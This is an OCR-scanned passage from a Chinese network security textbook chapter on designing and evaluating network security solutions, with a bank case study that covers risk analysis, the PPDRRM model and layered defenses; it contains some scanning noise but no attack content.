(3) 提供 关键 信息 的 加 密 传输 与 存储 安全 。 

(4) 保证 应 用 业务 系统 的 正常 安全 运行 。 

(5) 提供 安全 网 的 监控 与 审计 措施 。 

(6) 最 终 目标 : 实现 网 络 系统 的 机 密 性 ,完整 性 ,可 用 性 、 可 控 性 与 可 审查 性 。 通 过 
对 网 络 系统 的 风险 分 析 及 需要 解决 的 安全 问题 的 研究 ,对 照 设计 目标 要 求 可 以 制定 出 切 
实 可 行 的 安全 策略 及 安全 方案 ,以 确保 网 络 系统 的 最 终 目 标 : 

Q 机 密 性 。 系 统 可 保护 重要 信息 不 暴露 给 未 授权 的 用 户 或 进程 。 

@ 完整 性 。 只 有 授权 的 用 户 才能 修改 和 维护 数据 ,并 且 能 够 判别 并 确认 数据 是 否 已 
被 算 改 。 

@ 可 用 性 。 授 权 用 户 需要 时 可 访问 权限 内 的 数据 , 即 非 授权 者 不 能 占用 所 有 资源 而 
阻碍 授权 者 工作 。 

@ 可 控 性 。 系 统 可 以 控制 在 授权 范围 内 的 信息 流向 及 操作 行为 方式 。 

@ 可 审查 性 。 可 对 出 现 的 网 络 安全 问题 提供 调查 的 依据 和 审计 手段 。 


2. 网 络 安全 解决 方案 的 设计 要 点 


具体 网 络 安全 解决 方案 的 设计 要 点 主要 体现 在 以 下 3 个 方面 : 

(1) 访问 控制 。 利 用 防火 墙 技 术 将 内 网 络 与 外 网 隔离 ,对 与 外 网 交换 数据 的 内 网 及 
主机 、 所 交换 的 数据 等 进行 严格 的 访问 控制 。 同 样 , 对 内 部 网 络 ,由 于 各 部 门 有 不 同 的 应 
用 业务 和 不 同 的 安全 级 别 , 也 需要 使 用 防火 墙 将 不 同 的 LAN 或 网 段 进行 隔离 ,并 实现 相 
互 间 的 访问 控制 。 

(2) 数据 加 密 。 对 数据 进行 加 密 是 重要 数据 在 网 络 系统 传输 ,存储 等 过 程 中 防止 被 
非法 窃取 、 算 改 的 有 效 手段 。 

(3) 安全 审计 。 是 识别 与 防止 网 络 攻击 行为 .追查 网 络 泄密 等 行为 的 重要 措施 之 一 。 
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具体 包括 两 方面 的 内 容 : 一 是 采用 网 络 监控 与 人 侵 防范 系统 ,识别 网 络 各 种 违规 操作 与 
攻击 行为 ,及 时 响应 (如 报警 ) 并 进行 及 时 阻 断 ;二 是 对 信息 内 容 的 审计 ,可 以 防止 内 部 机 
密 或 敏感 信息 的 非法 泄漏 。 


3. 网 络 安全 解决 方案 的 设计 原则 


根据 网 络 系统 的 实际 评估 、 安 全 需求 分 析 和 正常 运行 要 求 , 按 照 国家 规定 的 安全 标 
准 和 准则 ,提出 需要 解决 的 实际 具体 安全 问题 ,兼顾 系统 与 安全 技术 的 特点 .技术 措施 实 
施 难 度 及 经 费 等 因素 ,设计 时 遵循 的 原则 如 下 : 

(1) 网 络 系统 的 安全 性 和 保密 性 得 到 有 效 增强 。 

(2) 保持 网 络 原 有 的 各 种 功能 .性 能 及 可 靠 性 等 特点 ,对 网 络 协议 和 传输 具有 很 好 的 
安全 保障 。 

(3) 安全 技术 方便 实际 操作 与 维护 ,便于 自动 化 管理 ,而 不 增加 或 少 增加 附加 操作 。 

(4) 尽量 不 影响 原 网 络 拓 扑 结构 ,同时 便于 系统 及 系统 功能 的 扩展 。 

(5) 提供 的 安全 保密 系统 具有 较 好 的 性 能 价格 比 ,可 以 一 次 性 投资 长 期 使 用 。 

(6) 使 用 经 过 国家 有 关 管 理 部 门 的 认可 或 认证 的 安全 与 密码 产品 ,并 具有 合法 性 。 

(7) 注重 质量 ,分 步 实 施 ,分 段 验收 。 严 格 按 照 评价 安全 方案 的 质量 标准 和 具体 安全 
需求 ,精心 设计 网 络 安全 综合 解决 方案 ,并 采取 几 个 阶段 进行 分 步 实施 ,分 段 验收 ,确保 
总 体 项 目 质量 。 

根据 以 上 设计 原则 ,在 认真 评估 与 需求 分 析 基 础 上 ,可 以 精心 设计 出 具体 的 网 络 安 
全 综合 解决 方案 ,并 可 对 各 层次 安全 措施 进行 具体 解释 和 分 步 实施 。 


1232 评价 方案 的 质量 标准 


在 实际 工作 中 ,在 把 握 重 点 关键 环节 的 基础 上 ,明确 评价 安全 方案 的 质量 标准 、 具 体 
安全 需求 和 安全 实施 过 程 ,有 利于 设计 出 高 质量 的 安全 方案 。 评 价 安全 方案 的 质量 标准 
主要 包括 以 下 8 个 方面 。 

(1) 确切 唯一 性 。 这 是 评估 安全 解决 方案 最 重要 的 标准 之 一 ,由 于 网 络 系统 和 安全 
性 要 求 相对 比较 特殊 和 复杂 ,所 以 ,在 实际 工作 中 ,对 每 一 项 具体 指标 的 要 求 都 应 当 是 确 
切 的 和 唯一 的 ,不 能 模棱两可 ,以 便 根据 实际 安全 需要 进行 具体 实现 。 

(2) 综合 把 握 和 预见 性 。 综 合 把 握 和 理解 现实 中 的 安全 技术 和 安全 风险 ,并 具有 一 
定 的 预见 性 ,包括 现在 和 将 来 可 能 出 现 的 所 有 安全 问题 和 风险 等 。 

(3) 评估 结果 和 建议 应 准确 。 对 用 户 的 网 络 系统 可 能 出 现 的 安全 风险 和 威胁 ,结合 
现 有 的 安全 技术 和 安全 隐患 ,应 当 给 出 一 个 具体 合适、 实际 、 准 确 的 评估 结果 和 建议 。 

(4) 针对 性 强 且 安全 防范 能 力 提 高 。 针 对 企 事业 用 户 系统 安全 问题 ,利用 先进 的 安 
全 产品 、 安 全 技术 和 管理 手段 ,降低 用 户 的 网 络 系统 可 能 出 现 的 风险 和 威胁 ,消除 风险 和 
隐患 ,增强 整个 网 络 系统 防范 安全 风险 和 威胁 的 能 力 。 

(5) 切实 体现 对 用 户 的 服务 支持 。 将 所 有 的 安全 产品 .安全 技术 和 管理 手段 都 体现 
在 具体 的 安全 服务 中 ,以 优质 的 安全 服务 保证 网 络 安全 工程 的 质量 ,提高 安全 水 平 。 

(6) 以 网 络 安全 工程 的 思想 和 方式 组 织 实施 。 在 解决 方案 起 草 过 程 和 完成 后 ,都 应 
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当 经 常 与 企 事业 用 户 进行 沟通 ,以 便 及 时 征求 用 户 对 网 络 系统 在 安全 方面 的 实际 需求 、 
期 望 和 所 遇 到 的 具体 安全 问题 。 

(7) 网 络 安全 是 动态 的 .整体 的 .专业 的 工程 。 在 整个 设计 方案 过 程 中 ,应 当 清 楚 网 
络 系统 安全 是 一 个 动态 的 .整体 的 .专业 的 工程 ,需要 分 步 实施 ,不 能 一 步 到 位 彻底 解决 
用 户 所 有 的 安全 问题 。 

(8) 具体 方案 中 所 采用 的 安全 产品 .安全 技术 和 具体 安全 措施 都 应 当 经 得 起 验证 、 推 
敲 、 论 证 和 实施 ,应 当 有 实际 的 理论 依据 、 坚 实 基础 和 标准 准则 。 

可 根据 侧重 点 综合 运用 上 述 质 量 标准 要 求 , 经 过 不 断 的 探索 和 实践 ,完全 可 以 制定 
出 高 质量 的 实用 网 络 安全 解决 方案 。 一 个 好 的 网 络 安全 解决 方案 不 仅 要 求 运 用 合适 的 
安全 技术 和 措施 ,还 应 当 综 合 各 方面 的 技术 和 特点 ,切实 解决 具体 的 实际 问题 。 

[ER 计 论 思考 

(1) 网 络 安 全 解决 方案 的 设计 目标 和 重点 是 什么 ? 

(2) 网 络 安 全 解决 方案 的 设计 原则 有 哪些 ? 

(3) 评价 网 络 安全 解决 方案 的 质量 标准 有 哪些 ? 


124 制定 网 络 安全 解决 方案 实例 


【案例 12-3] 上 海 X 义 网 络 信 息 技术 有 限 公司 通过 竞标 方式 ,最 后 以 126 万 元 人 民 
币 获得 某 机 构 网 络 安全 解决 方案 工程 项 目的 建设 权 。 其 中 的 “网 络 系统 安全 解决 方案 ” 
包括 8 项 主要 内 容 : 信息 化 现状 分 析 、 安 全 风险 分 析 、 完 整 网 络 安全 实施 方案 的 设计 、 实 
施 方 案 计 划 、 技 术 支 持 和 服务 、 项 目 安全 产品 、 检 测验 收报 告 和 安全 技术 培训 。 


D41 制定 安全 解决 方案 概要 


现在 金融 业 日 益 国 际 化 现代 化 ,我 国 银行 注重 技术 和 服务 创新 ,不 仅 依靠 信息 化 建 
设 实现 城市 间 的 资金 汇 划 、 消 费 结 算 、 储 蓄 存 取款 、 信 用 卡 交易 电子 化 .电话 银行 等 多 种 
服务 ,而 且 以 资金 清算 系统 .信用卡 异 地 交易 系统 等 ,形成 了 全 国 性 的 网 络 化 服务 。 此 
外 ,许多 银行 开通 了 SWIFT 系统 ,并 与 海外 银行 建立 了 代理 行 关系 ,各 种 国际 结算 业务 
往来 电文 可 在 境内 外 快速 接收 与 发 送 , 为 企业 国际 投资 .贸易 与 交往 和 个 人 境外 汇款 提 
供 了 便捷 的 金融 服务 。 


1. 金融 系统 信息 化 现状 分 析 


金融 行业 信息 化 系统 经 过 多 年 的 发 展 建设 ,信息 化 程度 已 达到 了 较 高 水 平 。 信 息 技 
术 在 提高 管理 水 平 、 促 进 业 务 创新 .提升 企业 竞争 力 等 方面 发 挥 着 日 益 重 要 的 作用 。 随 
着 银行 信息 化 的 深入 发 展 以 及 银行 业务 系统 对 信息 技术 的 高 度 依赖 ,银行 业 网 络 信息 安 
全 问题 也 日 益 严 重 , 新 的 安全 威胁 不 断 出 现 , 并 且 由 于 银行 数据 的 特殊 性 和 重要 性 ,成 为 
黑客 攻击 的 主要 对 象 , 针 对 金融 信息 网 络 的 计算 机 犯罪 案件 呈 逐 年 上 升 趋势 ,特别 是 随 
着 银行 全 面 进入 业务 系统 整合 .数据 大 集中 的 新 的 发 展 阶段 ,以 及 银行 卡 ` 网 上 银行 、 电 


350 


e. 
(58 2 2 3 be 第 ?版 ) 


子 商 务 、 网 上 证 券 交 易 等 新 的 产品 和 新 一 代 业 务 系 统 的 迅速 发 展 ,现在 不 少 银行 开始 将 
部 分 业务 放 到 互联 网 上 ,以 后 还 将 迅速 形成 一 个 以 基于 TCP/IP 协议 为 主 的 复杂 的 、 全 
国 性 的 网 络 应 用 环境 ,来 自 外 部 和 内 部 的 信息 安全 风险 将 不 断 增 加 ,对 金融 系统 的 安全 
性 提出 了 更 高 的 要 求 , 金 融 信 息 安 全 对 金融 行业 稳定 运行 、 客 户 权 益 乃 至 国家 经 济 金 融 
安全 ,社会 稳定 都 具有 越 来 越 重要 的 意义 。 金 融 业 迫切 需要 建设 主动 的 ,深层 的 立体 的 
信息 安全 保障 体系 ,保障 业务 系统 的 正常 运转 ,保障 企业 经 营 使 命 的 顺利 实现 。 

目前 ,我 国 金融 行业 典型 网 络 拓 扑 结构 如 图 12-2 所 示 , 通 常 为 一 个 多 级 层次 化 的 互 
联 广域网 体系 结构 。 


总 行 


一 级 分 行 ] | 一 级 分 行 | … |[ 一 级 分 行 
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图 12-2 金融 行业 互联 广域网 体系 结构 


2. 网 络 系统 面临 的 风险 


随 着 近 几 年 国际 金融 危机 和 国内 金融 改革 ,各 银行 将 竞争 的 焦点 集中 到 服务 上 ,不 
断 加 大 电子 化 建设 投入 ,扩大 网 络 规模 和 应 用 范围 。 但 是 ,电子 化 在 给 银行 带 来 一 定 经 
济 效 益 和 利益 的 同时 ,也 为 银行 网 络 系统 带 来 新 的 安全 问题 ,而 且 显 得 更 为 迫切 。 

金融 网 络 系统 存在 安全 风险 的 主要 原因 有 3 个 : 

(1) 随 着 我 国 经 济 体制 和 金融 体制 改革 的 深入 ,扩大 对 外 开放 ,金融 风险 迅速 增 大 。 

(2) 随 着 计算 机 网 络 的 快速 发 展 和 广泛 应 用 ,系统 的 安全 漏洞 也 不 断 增 加 。 多 年 以 
来 ,银行 迫 于 竞争 的 压力 ,不 断 扩大 电子 化 网 点 ,推出 电子 化 新 品种 ,计算 机 信息 管理 制 
度 和 安全 技术 与 措施 的 建设 不 完善 ,使 计算 机 系统 安全 问题 日 益 突 出 。 

(3) 金融 行业 网 络 系统 正在 向 国际 化 方向 发 展 ,计算 机 技术 日 益 普及 ,网 络 威胁 和 隐 
患 也 在 不 断 增 加 ,利用 计算 机 犯罪 的 案件 呈 逐 年 上 升 趋势 ,这 也 迫切 要 求 银行 信息 系统 
具有 更 高 的 安全 防范 体系 和 措施 。 

金融 行业 网 络 系统 面临 的 内 部 和 外 部 风险 复杂 多 样 ,主要 风险 有 3 个 方面 : 

(1) 组 织 方面 的 风险 。 系 统 风险 在 缺乏 统一 的 安全 规划 与 安全 职责 的 组 织 机 构 和 部 
门 中 更 为 突出 。 

(2) 技术 方面 的 风险 。 由 于 安全 保护 措施 不 完善 ,致使 所 采用 的 一 些 安全 技术 和 安 
全 产品 对 网 络 安 全 技术 的 利用 不 够 充分 ,仍然 存在 一 定 风 险 和 隐患。 

(3) 管理 方面 的 风险 。 网 络 安全 管理 需要 进一步 提高 ,安全 策略 .业务 连续 性 计划 和 
安全 意识 培训 等 都 需要 进一步 完善 和 加 强 。 
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【案例 12-4] 上 海 XX 网 络 信息 技 术 有 限 公 司 成 立 于 1993 年 并 通过 ISO 9001 认 
证 ,注册 资本 6800 万 元 人 民 币 。 公 司 主要 提供 网 络 

安全 产品 和 网 络 安全 解决 方案 ,公司 提出 的 安全 解 

决 方案 PPDRRM 将 给 用 户 带 来 稳定 安全 的 网 络 环 安全 风险 

境 , 已 经 覆盖 了 网 络 安全 工程 项 目 中 的 产品 .技术 、 策略 检测 

服务 、 管 理 和 策略 等 方面 ,已 经 成 为 一 个 完善 、 严 密 、 

整体 和 动态 的 网 络 安全 理念 。 灾难 事故 

网 络 安全 解决 方案 PPDRRM 如 图 12-3 所 示 。 s N Wi 

网 络 安全 解决 方案 PPDRRM 主要 包括 以 下 6 个 安全 服务 
方面 : 

(1) 综合 的 网 络 安全 策略 (Policy) 是 网 络 安全 解 图 123 网 络 安全 解决 方案 PPDRRM 
决 方案 的 第 一 个 P, 主 要 根据 企 事业 用 户 的 网 络 系统 
实际 状况 ,通过 具体 的 安全 需求 调研 、 分 析 、 论 证 等 方式 ,确定 出 切实 可 行 的 综合 的 网 络 
安全 策略 并 进行 实施 ,主要 包括 环境 安全 策略 ,系统 安全 策略 、 网 络 安全 策略 等 。 

(2) 全 面 的 网 络 安全 保护 (Protect) 是 网 络 安全 解决 方案 中 的 第 二 个 P, 主 要 提供 全 
面 的 保护 措施 ,包括 安全 产品 和 技术 ,需要 结合 用 户 网 络 系统 的 实际 情况 来 制定 ,内 容 包 
括 防 火 墙 保护 、 防 病毒 保护 .身份 验证 保护 .入侵 检测 保护 等 。 

(3) 连续 的 安全 风险 检测 (Detect) 是 网 络 安全 解决 方案 中 的 D, 主要 通过 检测 评估 
工具 漏洞 技术 和 安全 人 员 ,对 用 户 的 网 络 系统 和 应 用 中 可 能 存在 的 安全 风险 和 威胁 隐 
患 连续 地 进行 全 面 的 安全 风险 检测 和 评估 。 

(4) 及 时 的 安全 事故 响应 (Response) 是 网 络 安全 解决 方案 中 的 第 一 个 R, 主 要 指 对 
企 事业 用 户 的 网 络 系统 和 应 用 遇 到 的 安全 入 侵 事件 需要 做 出 快速 响应 和 及 时 处 理 。 

(5) 快速 的 安全 灾难 恢复 (Recovery) 是 网 络 安全 方案 中 的 第 二 个 R, 主 要 是 指 当 网 
络 系统 中 的 网 页 文件 ,数据库 、 网 络 和 系统 等 遇 到 意外 破坏 时 ,可 以 采用 迅速 恢复 技术 。 

(6) 优质 的 安全 管理 服务 (Management) 是 网 络 安全 解决 方案 中 的 M, 主要 是 指 在 网 
络 安全 项 目 中 ,以 优质 的 网 络 安全 管理 与 服务 作为 项 目 有 效 实 施 过 程 中 的 重要 保证 。 

3. 安全 风险 分 析 内 容 

网 络 安 全 风险 分 析 的 内 容 主 要 包括 对 网 络 物理 结构 、 网 络 系统 和 实际 应 用 进行 的 各 
种 安全 风险 和 隐患 的 具体 分 析 。 

(1) 现 有 网 络 物理 结构 安全 分 析 。 对 机 构 用 户 现 有 的 网 络 物理 结构 进行 安全 分 析 ， 
主要 是 详细 具体 地 调研 分 析 该 银行 与 各 分 行 的 网 络 结构 ,包括 内 部 网 、 外 部 网 和 远程 网 
的 物理 结构 。 

(2) 网 络 系统 安全 分 析 。 对 机 构 用 户 的 网 络 系统 进行 安全 分 析 , 主 要 是 详细 调研 分 
析 该 银行 与 各 分 行 网 络 的 实际 连接 .操作 系 统 的 使 用 和 维护 情况 、Internet 的 浏览 访问 使 
用 情况 、 桌 面 系统 的 使 用 情况 和 主机 系统 的 使 用 情况 , 找 出 可 能 存在 的 各 种 安全 风险 和 
隐患 。 

(3) 网 络 应 用 的 安全 分 析 。 对 机 构 用 户 的 网 络 应 用 情况 进行 安全 分 析 , 主 要 是 详细 
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调研 分 析 该 银行 与 各 分 行 的 所 有 服务 系统 及 应 用 系统 , 找 出 可 能 存在 的 各 种 安全 漏洞 和 


4. 安全 解决 方案 设计 机 构 及 实施 的 意义 


(1) 公司 技术 实力 。 主 要 概述 公司 的 主要 发 展 和 简历 .技术 实力 .具体 成 果 和 典型 案 
例 ,突出 先进 技术 方法 和 特色 等 ,突出 其 技术 实力 和 质量 ,增强 承接 公司 的 信誉 和 影 
响 力 。 

(2) 人 员 层 次 结构 。 主 要 包括 公司 现 有 管理 人 员 技术 人 员 、 销 售 及 服务 人 员 人 情况。 
具有 中 级 以 上 技术 职称 的 工程 技术 人 员 情 况 ,其 中 教授 级 高 级 工程 师 或 高 级 工程 师 人 
数 .工程 师 人 数 ,硕士 学 历 以 上 人 员 占 所 有 人 员 的 比重 ,以 体现 知识 技术 型 的 高 科技 网 络 
公司 的 特点 。 

(3) 典型 成 功 案例 。 介 绍 公司 完成 主要 网 络 安全 工程 的 典型 成 功 案例 ,特别 是 与 用 
户 项 目 相近 的 重大 网 络 安全 工程 项 目 , 使 用 户 确信 公司 的 工程 经 验 和 可 信 度 。 

(4) 产品 许可 证 或 服务 认证 。 网 络 系统 安全 产品 的 许可 证 非常 重要 ,在 国内 只 有 取 
得 了 许可 证 的 安全 产品 才 允 许 在 国内 销售 和 使 用 。 现 在 从 事 网 络 安全 工程 项 目的 公司 
属于 提供 服务 的 公司 ,通过 国际 认证 可 以 有 利于 提高 良好 信誉 。 

(5) 实施 网 络 安全 工程 的 意义 。 在 网 络 安全 解决 方案 的 “实施 网 络 安全 工程 意义 ”部 
分 ,主要 着 重 结合 现 有 的 网 络 系统 安全 风险 ,威胁 和 隐患 进行 具体 详实 分 析 , 并 写 出 网 络 
安全 工程 项 目 实施 完成 后 用 户 的 网 络 系统 的 信息 安全 所 能 达到 的 具体 安全 保护 标准 、 防 
范 能 力 与 水 平 , 以 及 解决 信息 安全 问题 的 现实 意义 与 重要 性 。 


D42 网 络 安全 解决 方案 应 用 案例 


在 此 以 金融 系统 网 络 安全 解决 方案 为 例 , 概 述 安全 方案 建立 过 程 。 网 络 安全 解决 方 
案 主 要 包括 以 下 5 个 方面 。 


1. 金融 系统 安全 体系 结构 


【案例 12-s] 某 银 行 制定 的 信息 系统 安全 性 总 原则 是 “制度 防 内 ,技术 防 外 ”。“ 制 
度 防 内 ”是 指 建 立 健全 严密 的 安全 管理 规章 制度 .运行 规程 ,形成 内 部 各 层 人 员 、 各 职能 
部 门 、 各 应 用 系统 的 相互 制约 关系 ,杜绝 内 部 作案 和 操作 失误 的 可 能 性 ,并 建立 良好 的 故 
障 处 理 反 应 机 制 , 保 障 银 行 信息 系统 的 安全 正常 运行 。“ 技 术 防 外 ”主要 是 指 从 技术 手段 
上 加 强 安 全 措施 ,防止 外 部 黑客 的 入 侵 。 在 不 影响 银行 正常 业务 与 应 用 的 基础 上 建立 银 
行 的 安全 防护 体系 ,从 而 满足 银行 网 络 系统 环境 要 求 。 

针对 网 络 系统 所 进行 的 这 些 具体 安全 分 析 , 以 满足 金融 行业 的 机 密 性 、 完 整 性 .可 用 
性 .可 控 性 .可 审查 性 等 安全 需求 作为 其 安全 工程 的 建设 目标 ,以 前 瞻 性 .先进 性 .整体 
性 ,标准 性 、 主 动 性 ,扩展 性 ,投资 保护 、 法 律 法 规 符合 性 等 作为 其 建设 原则 ,构建 一 个 主 
动 防御 、 深 层 防御 、 立 体 防 御 的 安全 技术 保障 平台 。 通 过 综合 利用 世界 先进 的 技术 、 产 品 
和 措施 ,加 强 对 安全 风险 的 控制 和 管理 ,将 保护 对 象 分 成 网 络 基础 设施 .网 络 边界 、 终 端 
计算 环境 .支撑 性 基础 设施 等 多 个 防御 领域 ,在 这 些 领域 上 综合 实现 预警 加固、 防御 、 检 
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测 、 响 应 ,恢复 等 多 个 安全 环节 ,从 而 为 网 络 及 信息 系统 提供 全 方位 .多 层次 的 防护 。 即 
使 在 攻击 者 成 功 地 破坏 了 某 个 保护 机 制 的 情况 下 ,其 他 保护 机 制 仍然 可 以 提供 附加 的 保 
护 ,达到 “ 进 不 来 . 拿 不 走 . 改 不 了 .看 不 懂 、 跑 不 了 .可 审查 "的 实际 效果 。 

对 于 金融 网 络 系统 ,构建 一 个 安全 网 络 环境 非常 重要 ,可 以 从 网 络 安全 、 系 统 安全 、 
访问 安全 .应 用 安全 、 内 容 安全 ,管理 安全 6 个 方面 综合 考虑 。 

(1) 网 络 安全 问题 。 一 是 利用 防火 墙 系统 阻止 来 自 外 部 的 威胁 ,防火 墙 是 不 同 网 络 
或 网 络 安全 域 之 间 信 息 的 唯一 出 入 口 ,用 于 防止 外 部 的 非法 入 侵 , 可 根据 网 络 的 安全 策 
略 进行 控制 (允许 ,拒绝 ,监测 )。 二 是 构建 VPN 系统 ,虚拟 专用 网 如 同 隐蔽 通道 一 样 可 
防止 外 人 进入 ,具有 阻止 外 部 入 侵 与 攻击 .加 密 传输 数据 等 功效 ,可 以 构建 一 个 相对 稳 
定 、 独 立 的 安全 系统 。 

(2) 系统 安全 问题 。 主 动人 侵 防御 与 监测 系统 可 对 危险 情况 进行 阻拦 及 报警 ,为 网 
络 安全 提供 实时 的 入 侵 检测 并 采取 相应 的 防护 措施 ,如 报警 .记录 事件 及 证 据 、 跟 踪 、 恢 
复 . 断 开 网 络 连接 等 。 通 过 漏洞 扫 面 系统 定期 检查 内 部 网 络 和 系统 的 安全 隐患 ,并 及 时 
进行 修补 。 

(3) 访问 安全 问题 。 强 化 身份 认证 系统 和 访问 控制 措施 。 对 网 络 用 户 的 身份 进行 认 
证 ,保证 系统 内 部 所 有 访问 过 程 的 合法 性 。 

(4) 应 用 安全 问题 。 包 括 3 个 方面 : D 实 施主 机 监控 与 审计 系统 。 通 过 计算 机 管理 
员 可 以 监控 不 同 用 户 对 主机 的 使 用 权限 。 加 强 主机 本 身 的 安全 ,对 主机 进行 安全 监控 。 
@@ 构 建 服务 器 群 组 防护 系统 。 服 务 器 群 组 保护 系统 可 为 服务 器 群 组 提供 全 方位 访问 控 
制 和 入 侵 检测 ,严密 监视 服务 器 的 访问 及 运行 情况 ,保障 内 部 重要 数据 资源 的 安全 。@ 
强化 防范 病毒 系统 ,对 网 络 进行 全 方位 病毒 检测 与 保护 和 及 时 更 新 。 

(5) 内 容 安全 问题 。 启 动 网 络 审计 系统 记录 各 种 操作 和 行为 事件 ,便于 审计 和 追踪 
与 特殊 事件 的 认定 。 对 网 络 系统 中 的 通信 数据 ,可 以 按照 设 定 规则 将 数据 进行 还 原 、 实 
时 扫描 ,实时 阻 断 等 ,最 大 限度 地 提供 对 企业 敏感 信息 的 监察 与 保护 。 

(6) 管理 安全 问题 。 实 行 网 络 运行 监管 系统 。 可 以 对 整个 网 络 系统 和 单个 主机 的 运 
行 状况 进行 及 时 的 监测 分 析 ,实现 全 方位 的 网 络 流量 统计 .蠕虫 后 门 监测 定位 、 报 警 、 自 
动 生成 拓扑 等 功能 。 


2. 技术 实施 策略 及 安全 方案 


网 络 安全 技术 实施 策略 需要 从 8 个 方面 进行 阐述 : 

(1) 网 络 系统 结构 安全 。 通 过 上 述 的 风险 分 析 , 从 网 络 结构 方面 查找 可 能 存在 的 安 
全 问题 ,采用 相关 的 安全 产品 和 技术 ,解决 网 络 拓扑 结构 的 安全 风险 和 威胁 。 

(2) 主机 安全 加 固 。 通 过 风险 分 析 , 找 出 网 络 系统 弱点 和 存在 的 安全 问题 ,利用 网 络 
安全 产品 和 技术 进行 加 固 及 防范 ,增强 主机 系统 防御 安全 风险 和 威胁 的 能 力 。 

(3) 计算 机 病毒 防范 。 主 要 有 针对 性 地 阔 述 具体 实施 桌面 病毒 防范 、 服 务 器 病毒 防 
范 、 邮 件 病毒 防范 及 统一 的 病毒 防范 解决 方案 ,并 采取 措施 及 时 进行 升级 更 新 。 

(4) 访问 控制 。 方 案 通常 采用 3 种 基本 访问 控制 技术 : 路 由 器 过 滤 访 问 控制 技术 、 
防火 墙 访问 控制 技术 和 主机 自身 访问 控制 技术 ,合理 优化 ,统筹 兼顾 。 
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(5) 传输 加 密 措 施 。 对 于 重要 数据 采用 相关 的 加 密 产品 和 技术 ,确保 机 构 的 数据 传 
输 和 使 用 的 安全 ,实现 数据 传输 的 机 密 性 完整 性 和 可 用 性 。 

(6) 身份 认证 。 利 用 最 新 的 有 关 身 份 认证 的 安全 产品 和 技术 ,保护 重要 应 用 系统 的 
身份 认证 ,实现 使 用 系统 数据 信息 的 机 密 性 和 可 用 性。 

(7) 人 侵 检测 防御 技术 。 通 过 采用 相关 的 入 侵 检测 与 防御 产品 技术 ,对 网 络 系统 和 
要 主机 及 服务 器 进行 实时 智能 防御 及 监控 。 

(8) 风险 评估 分 析 。 通 过 采用 相关 的 风险 评估 工具 、 标 准 准则 和 技术 方法 ,对 网 络 系 
统 和 重要 的 主机 进行 连续 的 风险 和 威胁 分 析 。 


3. 网 络 安全 管理 技术 


结合 第 3 章 内 容 将 网 络 安全 管理 与 安全 技术 紧密 结合 .统筹 兼顾 ,进行 集中 、 统 一 、 
安全 的 高 效 管理 和 培训 。 


4. 紧急 响应 与 灾难 恢复 


为 了 防止 突 发 的 意外 事件 发 生 , 必 须 制定 详细 的 紧急 响应 计划 和 预案 , 当 企 事业 机 
构 用 户 的 网 络 ,系统 和 应 用 遇 到 意外 或 破坏 时 ,应 当 及 时 响应 并 进行 应 急 处 理 和 记录 等 。 

制定 并 实施 具体 的 灾难 恢复 计划 和 预案 ,及 时 地 将 企 事业 用 户 所 遇 到 的 网 络 、 系 统 
和 应 用 的 意外 或 破坏 恢复 到 正常 状态 ,同时 消除 产生 安全 风险 和 隐患 的 威胁 。 


5. 网 络 安全 解决 方案 


具体 的 网 络 安 全 解决 方案 主要 包括 以 下 4 个 部 分 。 

1) 实体 安全 解决 方案 

保证 网 络 系统 各 种 设备 的 实体 安全 是 整个 计算 机 系统 安全 的 前 提 和 重要 基础 。 

在 1.6 节 介绍 过 ,实体 安全 是 保护 网 络 设备 ,设施 和 其 他 媒体 免 草 地震、 水灾、 火灾 
等 环境 事故 ,人 为 操作 失误 或 错误 以 及 各 种 计算 机 犯罪 行为 导致 的 破坏 过 程 。 主 要 包括 
3 个 方面 : 

(1) 环境 安全 。 对 系统 所 在 环境 及 运行 环境 的 安全 保护 ,如 区 域 保 护 、 灾 难保 护 和 环 
境 保 护 。 

(2) 设备 安全 。 主 要 包括 设备 的 防盗 . 防 毁 、 防 电磁 信息 辐射 泄漏 、 抗 电磁 干扰 及 电 
源 保护 等 。 

(3) 媒体 安全 。 主 要 包括 媒体 承载 及 存储 数据 的 安全 及 媒体 本 身 的 安全 。 

为 了 保护 网 络 系统 的 实体 及 运行 过 程 中 的 信息 安全 ,还 要 防止 系统 信息 在 空间 的 传 
播 扩散 过 程 中 的 电磁 泄漏 。 通 常 是 在 物理 上 采取 一 定 的 防护 措施 ,来 减少 或 干扰 扩散 出 
去 的 空间 信号 。 这 是 政府 ,军队 金融 机 构 在 建设 信息 中 心 时 首要 的 必 备 条 件 。 

为 了 保证 网 络 系统 的 正常 运行 ,在 实体 安全 方面 应 采取 以 下 4 个 措施 : 

(1) 产品 保障 措施 。 主 要 指 网 络 系统 及 相关 设施 产品 在 采购 .运输 .安装 等 方面 的 安 
全 措施 。 

(2) 运行 安全 措施 。 网 络 系统 中 的 各 种 设备 ,特别 是 安全 类 产品 ,在 使 用 过 程 中 必须 
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能 够 从 生产 厂家 或 供 货 单位 得 到 快速 且 周 到 的 技术 支持 与 服务 。 同 时 ,对 一 些 关 键 的 安 
全 设备 .重要 的 数据 和 系统 ,应 设置 备份 应 急 系统 。 

(3) 防 电磁 辐射 措施 。 对 所 有 重要 的 涉 密 设备 都 应 当 采 用 防 电 磁 辐 射 技术 ,如 辐射 
干扰 机 等 。 

(4) 保安 措施 。 主 要 是 防盗、 防火 、 防 雷电 和 其 他 安全 防范 ,还 包括 网 络 系统 所 有 的 
网 络 设备 .计算 机 及 服务 器 .安全 设备 和 其 他 软 硬 件 等 的 安全 防护 。 

2) 链 路 安全 解决 方案 

对 于 机 构 网 络 链 路 方面 的 安全 问题 ,重点 解决 网 络 系统 中 链 路 级 点 对 点 公用 信道 上 
的 相关 安全 问题 的 各 种 措施 .策略 和 解决 方案 等 。 

名 知识 拓展 ”在 网 络 系统 中 ,可 以 利用 DDN 专线 连接 企 事业 机 关内 部 网 与 各 地 市 
局 域 网 。 在 公共 链 路 上 采用 一 定 的 安全 手段 以 保证 信息 传输 的 安全 ,可 防范 通信 链 路 上 
8 3. K k fk RE k. 

链 路 加 密 是 解决 链 路 安全 的 主要 手段 ,通过 链 路 加 密 机 即 可 实现 对 链 路 的 加 密 ,如 
DDN 链 路 加 密 机 。 

3) 网 络 安全 解决 方案 

对 于 广域网 络 系统 安全 解决 方案 ,具有 如 下 几 个 特点 : 

(1) 用 于 专用 网 络 , 可 为 下 属 各 级 部 门 主 要 提供 数据 库 服 务 、 日 常 办 公 与 管理 服务 ， 
以 及 往来 各 种 信息 的 处 理 、 传 输 与 存储 等 业务 。 

(2) 通过 与 Internet 或 国内 其 他 网 络 互联 ,可 使 广大 用 户 利用 和 访问 国内 外 各 种 信 
